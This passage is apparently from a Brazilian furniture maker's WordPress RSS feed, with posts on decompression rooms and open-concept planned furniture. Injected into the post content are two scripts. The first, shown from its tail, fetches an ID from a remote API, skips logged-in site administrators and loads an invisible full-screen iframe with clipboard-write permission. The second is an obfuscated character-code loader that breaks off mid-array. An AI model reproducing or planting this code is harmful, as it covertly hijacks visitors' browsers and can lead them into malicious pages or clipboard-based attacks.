      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><p>O post <a href="https://marel.com.br/sala-de-descompressao-o-que-e-e-como-criar-uma/">Sala de descompressão, o que é e como criar uma</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://marel.com.br/sala-de-descompressao-o-que-e-e-como-criar-uma/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Open concept: conheça essa tendência em móveis planejados</title>
		<link>https://marel.com.br/open-concept-tendencia-em-moveis-planejados/</link>
					<comments>https://marel.com.br/open-concept-tendencia-em-moveis-planejados/#comments</comments>
		
		<dc:creator><![CDATA[BLOG USER]]></dc:creator>
		<pubDate>Thu, 23 Sep 2021 19:27:01 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=1298</guid>

					<description><![CDATA[<p>No design de interiores, um dos reflexos do minimalismo é a tendência do open concept, ou, conceito aberto, em tradução livre. Saiba como explorar este estilo nos móveis. </p>
<p>O post <a href="https://marel.com.br/open-concept-tendencia-em-moveis-planejados/">Open concept: conheça essa tendência em móveis planejados</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Nos últimos anos, o minimalismo ganhou força e se tornou uma tendência consolidada. A filosofia do “menos é mais” ganhou adeptos em todas as partes do mundo, ocasionando verdadeiras mudanças de vida e, claro, de consumo. No design de interiores, um dos reflexos do minimalismo é a tendência do open concept, ou, conceito aberto, em tradução livre.&nbsp;</p>



<p class="wp-block-paragraph">Derrubar paredes (quando é possível) para integrar espaços passou a ser uma solução em decorrência da redução do espaço médio das moradias. Essa alternativa de aproveitamento de espaço, somada à tendência minimalista, trouxe inúmeras mudanças de pensamento na arquitetura e decoração.&nbsp;</p>



<p class="wp-block-paragraph">Uma das máximas do minimalismo é eliminar tudo o que não é essencial, deixando espaço para apreciar aquilo que realmente importa. Não demorou para que isso refletisse nos projetos de móveis. Um&nbsp;<a href="https://marel.com.br/minimalismo-uma-breve-historia-do-estilo/">móvel planejado minimalista</a>&nbsp;possui linhas e formas simples, sem exageros ou extravagancia, são extremamente funcionais, mas sem deixar de lado a qualidade e o acabamento.&nbsp;</p>



<p class="wp-block-paragraph">É justamente com essa proposta que os móveis open concept surgem para trazer mais sofisticação aos apreciadores de um estilo contemporâneo. Falaremos mais sobre isso a seguir!&nbsp;</p>



<h2 class="wp-block-heading"><strong>Menos é mais na era dos excessos&nbsp;</strong></h2>



<p class="wp-block-paragraph">O termo conceito aberto&nbsp;começou a fazer parte da arquiteta por volta do século XX, quando a ideia de juntar áreas de convivência se tornaram comuns. Atualmente, com as cidades crescendo e a população se multiplicando pelas áreas urbanas, a demanda por espaços confortáveis tem exigido soluções criativas.&nbsp;</p>



<p class="wp-block-paragraph">Esse é o caso do open concept. Além de melhorar o aproveitamento dos espaços e permitir melhor circulação, ambientes abertos promovem mais socialização entre os moradores. Por exemplo, enquanto alguém está na cozinha essa pessoa pode ver e interagir com quem está na sala.&nbsp;</p>



<p class="wp-block-paragraph">Uma vez integrados, os cômodos necessitam de projetos de móveis que promovam funcionalidade e harmonia para os espaços. Combinando essa linha de pensamento, com a essência do minimalismo, temos o advento dos móveis abertos, que se desprendem de partes permitindo apenas o essencial. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://marel.com.br/wp-content/uploads/2021/09/Picture2-1.jpg" alt="Open concept" class="wp-image-1306"/></figure>



<h2 class="wp-block-heading"><strong>Móveis open concept</strong></h2>



<p class="wp-block-paragraph">Cozinhas open concept se tornaram o desejo de muitas pessoas. Modernas e elegantes, elas proporcionam praticidade além do fator estético. No caso de móveis abertos para cozinha, armários sem portas, prateleiras suspensas, nichos e sistemas de ferragens fazem sucesso.&nbsp;</p>



<p class="wp-block-paragraph">Outra proposta interessante de móvel open concept é o closet. Sem as tradicionais frentes e lados, esse móvel aposta em prateleiras suspensas e araras para criar um efeito similar aos de butiques de marcas luxuosas. Além disso, o móvel aberto proporciona acesso facilitado ao seu interior.&nbsp;</p>



<p class="wp-block-paragraph">Outra vantagem de um móvel com esse estilo é apelo visual. Como o interior fica todo visível, as próprias peças se tornam elementos decorativos. Dessa forma, integrar iluminação embutida em led ou spots para dar destaque em um único ponto cria um efeito surpreendente. Aquela bolsa ou sapato de grife ganha um charme a mais no móvel.&nbsp;</p>



<h2 class="wp-block-heading"><strong>Coleção Urban</strong></h2>



<p class="wp-block-paragraph">A Coleção Urban é perfeita para compor projetos de móveis planejados open concept. Essa linha é inspirada na vida agitada dos centros urbanos,&nbsp;em que&nbsp;não há tempo para se perder. Alinhando forma à função, no melhor estilo propagado pela Bauhaus, a Urban Collection consagrou o minimalismo como fonte de inspiração. O legítimo laccato italiano conheceu linha retas, cores neutras e uma simplicidade despojada de todo ruído visual.</p>



<p class="wp-block-paragraph"><a href="https://conteudo.marel.com.br/catalogo-marel-2020" target="_blank" rel="noreferrer noopener" aria-label="Baixe nosso catálogo e saiba mais!&nbsp; (abre numa nova aba)">Baixe nosso catálogo e saiba mais!&nbsp;</a></p>
<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,5